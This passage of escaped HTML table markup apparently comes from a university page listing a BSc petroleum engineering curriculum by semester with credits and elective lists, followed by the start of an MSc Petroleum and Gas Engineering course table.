<td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PHSC 111</td>\r\n  <td width=\"234\">Physics_I</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"30\">\r\n  <td height=\"30\">ENGL 101</td>\r\n  <td width=\"258\">English\r\n  Foundations_I</td>\r\n  <td width=\"59\">4</td>\r\n  <td>8</td>\r\n  <td>&nbsp;</td>\r\n  <td>CHEM 112</td>\r\n  <td width=\"234\">Chemistry_II\r\n  and lab</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\"></td>\r\n  <td width=\"258\">Social Science**</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 102</td>\r\n  <td width=\"234\">English\r\n  Foundation _II</td>\r\n  <td width=\"53\">4</td>\r\n  <td>8</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td width=\"258\">Credit</td>\r\n  <td>16</td>\r\n  <td>32</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">Azerbaijan\r\n  Culture</td>\r\n  <td width=\"53\">2</td>\r\n  <td>4</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"></td>\r\n  <td width=\"258\">&nbsp;</td>\r\n  <td></td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n  <td width=\"234\">Credit</td>\r\n  <td>18</td>\r\n  <td>36</td>\r\n </tr>\r\n <tr id=\"zebra\" height=\"21\">\r\n  <td height=\"21\"></td>\r\n  <td colspan=\"8\"><strong>2<sup>nd&nbsp;</sup>Year</strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td style=\"font-size:large\"><strong>Fall Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td width=\"234\" style=\"font-size:large\"><strong>Spring Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 210</td>\r\n  <td width=\"258\">Differential\r\n  Equations</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>GEOL 203</td>\r\n  <td width=\"234\">General Geology</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGL 103</td>\r\n  <td width=\"258\">ESP\r\n  Petroleum Eng.</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\"><strong>Elective\r\n</strong>  (major)***</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"25\">\r\n  <td height=\"25\">CMS 202</td>\r\n  <td width=\"258\">Computer\r\n  Application in Engineering</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>MATH 221</td>\r\n  <td width=\"234\">Numerical\r\n  Methods for Engineers</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">PETE 202</td>\r\n  <td width=\"258\">Introduction\r\n  to Petroleum Engineering</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGR 213</td>\r\n  <td width=\"234\">Termodynamics</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">PHSC 212</td>\r\n  <td width=\"258\">Physics_II</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">Humanity*</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"32\">\r\n  <td height=\"32\">&nbsp;</td>\r\n  <td width=\"258\">Humanity*</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">Credit</td>\r\n  <td>15</td>\r\n  <td>30</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td width=\"258\">Credit</td>\r\n  <td>18</td>\r\n  <td>36</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr id=\"zebra\" height=\"25\">\r\n  <td height=\"25\"></td>\r\n  <td colspan=\"8\"><strong>3<sup>rd&nbsp;</sup>Year</strong></td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\" style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td style=\"font-size:large\"><strong>Fall Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td width=\"234\" style=\"font-size:large\"><strong>Spring Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGR 205</td>\r\n  <td width=\"258\">Engineering\r\n  Mechanics&nbsp;</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\"><strong>Elective\r\n</strong>  (major)***</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"35\">\r\n  <td height=\"35\">GEOL 310</td>\r\n  <td width=\"258\">Petroleum\r\n  Geology</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>MED 315</td>\r\n  <td width=\"234\">Life\r\n  Science</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\">PETE 302</td>\r\n  <td width=\"258\">Drilling\r\n  Engineering</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGR&nbsp;\r\n  303</td>\r\n  <td width=\"234\">Introduction\r\n  to Fluid Mechanics</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 340</td>\r\n  <td width=\"258\">Statistical\r\n  Methods for Engineers</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 318</td>\r\n  <td width=\"234\">Well&nbsp; Completion</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 303</td>\r\n  <td width=\"258\">Physics\r\n  of Oil and Gas Reservoirs&nbsp;</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 323</td>\r\n  <td width=\"234\">Petroleum\r\n  Reservoir Engineering</td>\r\n  <td width=\"53\">4</td>\r\n  <td>8</td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\"></td>\r\n  <td>Social Science**</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 350</td>\r\n  <td width=\"234\">Summer\r\n  Practice&nbsp;</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\">&nbsp;</td>\r\n  <td width=\"258\">Credit</td>\r\n  <td>18</td>\r\n  <td>30</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">Credit</td>\r\n  <td>19</td>\r\n  <td>36</td>\r\n </tr>\r\n <tr id=\"zebra\" height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>4<sup>th&nbsp;</sup>Year</strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td style=\"font-size:large\"><strong>Fall Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td width=\"234\" style=\"font-size:large\"><strong>Spring Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n </tr>\r\n <tr height=\"27\">\r\n  <td height=\"27\">PETE 402</td>\r\n  <td width=\"258\">Petroleum\r\n  Production Engineering I</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 423</td>\r\n  <td width=\"234\">Petroleum\r\n  Production Engineering II</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">PETE 417</td>\r\n  <td width=\"258\">Petroleum\r\n  Reservoir Simulation&nbsp;</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 421</td>\r\n  <td width=\"234\">Petroleum\r\n  Economics</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"38\">\r\n  <td height=\"38\">PETE 338</td>\r\n  <td width=\"258\">Fluid\r\n  Mechanics for Petroleum Engineers</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENV 305</td>\r\n  <td width=\"234\">Health,\r\n  Safety &amp; Environment&nbsp;</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"33\">\r\n  <td height=\"33\">&nbsp;</td>\r\n  <td width=\"258\"><strong>Elective\r\n</strong>  (major)***</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\"><strong>Elective\r\n</strong>  (major)***</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"33\">\r\n  <td height=\"33\">&nbsp;</td>\r\n  <td width=\"258\">Credit</td>\r\n  <td width=\"59\">12</td>\r\n  <td>24</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">Credit</td>\r\n  <td>12</td>\r\n  <td>24</td>\r\n </tr>\r\n <tr height=\"25\">\r\n  <td height=\"25\"></td>\r\n  <td><strong>Total</strong></td>\r\n  <td>128</td>\r\n  <td>256</td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">&nbsp;</td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"25\">\r\n  <td height=\"25\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">&nbsp;</td>\r\n  <td width=\"53\">&nbsp;</td>\r\n  <td width=\"55\">&nbsp;</td>\r\n </tr>\r\n <tr id=\"zebra\" height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>* Humanity Courses List:</td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">***Major\r\n  Electives List:</td>\r\n  <td width=\"53\">ECTS</td>\r\n  <td>Semestr</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">PHIL 130</td>\r\n  <td>Culture of\r\n  Philosophy</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>CIV&nbsp; 215</td>\r\n  <td width=\"234\">Engineering\r\n  Drawing</td>\r\n  <td>6</td>\r\n  <td>IV</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>Foreign Language</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>CMS 350</td>\r\n  <td>Computer Graphics</td>\r\n  <td>6</td>\r\n  <td>IV</td>\r\n </tr>\r\n <tr height=\"19\">\r\n  <td height=\"19\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 312</td>\r\n  <td width=\"234\">Well Logging</td>\r\n  <td>6</td>\r\n  <td>VI</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td>** Social Sciences</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 311</td>\r\n  <td>Reservoir Petrophysics</td>\r\n  <td>6</td>\r\n  <td>VI</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MGT310</td>\r\n  <td>Management and\r\n  Organization</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGR 312</td>\r\n  <td>Mechanics of Materials</td>\r\n  <td>6</td>\r\n  <td>VI</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">LAW 220</td>\r\n  <td>Family Law</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 415</td>\r\n  <td width=\"234\">Gas\r\n  and Gas-condensate Reservoir Engineering</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VII</td>\r\n </tr>\r\n <tr height=\"29\">\r\n  <td height=\"29\">ECON 101</td>\r\n  <td>Introduction to\r\n  Economics</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 422</td>\r\n  <td width=\"234\">Petroleum\r\n  Property Valuation</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 451</td>\r\n  <td width=\"234\">Petroleum\r\n  Engineering Design&nbsp;</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VIII</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">&nbsp;</td>\r\n  <td>Science and\r\n  Technology</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 410</td>\r\n  <td width=\"234\">Oil\r\n  and Gas Gathering, Treatment and Storage</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VIII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MATH 101</td>\r\n  <td>Calculus 1</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 458</td>\r\n  <td width=\"234\">Well\r\n  Performance</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VIII</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">CMS 202</td>\r\n  <td>Computer Application\r\n  in Engineering</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 414</td>\r\n  <td width=\"234\">Transportation\r\n  Processes in Petroleum&nbsp; Production</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VIII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MED 315</td>\r\n  <td>Life Science</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">&nbsp;</td>\r\n  <td width=\"53\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ECTS</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>University\r\n  Requirement English</td>\r\n  <td>22</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>University\r\n  Requirement Azeri</td>\r\n  <td>16</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Humanity</td>\r\n  <td>12</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Social Sciences</td>\r\n  <td>12</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td>Science and\r\n  Technology</td>\r\n  <td>18</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td>Major Courses</td>\r\n  <td>176</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td><strong>Total</strong></td>\r\n  <td>256</td>\r\n  <td></td>\r\n </tr></tbody></table><br>  <div><br></div><div><br></div><div><h3><strong>MSc </strong><strong>Curriculum</strong><strong> in Petroleum\r\nand Gas Engineering</strong></h3>\r\n<p><strong>&nbsp;</strong></p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" width=\"680\">\r\n <tbody><tr id=\"zebra\">\r\n  <td width=\"680\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center\"=\"\"><strong>First Year</strong><strong></strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Fall\r\n  Semester&nbsp; (16 credits)</strong></p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Spring\r\n  Semester&nbsp; (16 credits)</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 505: Advanced Drilling\r\n  Engineering (4 credits)</p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 548: Advanced\r\n  Production Technology (4\r\n  credits)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE\r\n  509:Petroleum Geoscience (4 credits)</p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 540: Advanced Reservoir\r\n  Engineering (4 credits)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 531: Formation Evaluation ( 4 credits) </p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 551: Design and Development of Oil and\r\n  Gas fields &nbsp;(4 credits)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 538: Well Stimulation </p>\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 563: Petroleum Reservoir Management and\r\n  Evaluation(4 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n </tr>\r\n <tr id=\"zebra\">\r\n  <td width=\"680\" colspan=\"2\" style=\"\" width:509.75pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center\"=\"\"><strong>Second Year</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Fall\r\n  Semester (16 credits)</strong></p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Spring\r\n  Semester (12 credits)</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE\r\n  542: Advanced\r\n  Gas and Gas-Condensate Reservoir Engineering&nbsp;&nbsp;\r\n  (4 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td width=\"304\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\">PETE 590:MS thesis&nbsp; (12\r\n  credits)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 570: Numerical Reservoir Simulation (4\r\n  credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td width=\"304\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Major Elective</strong> (4 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td width=\"304\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  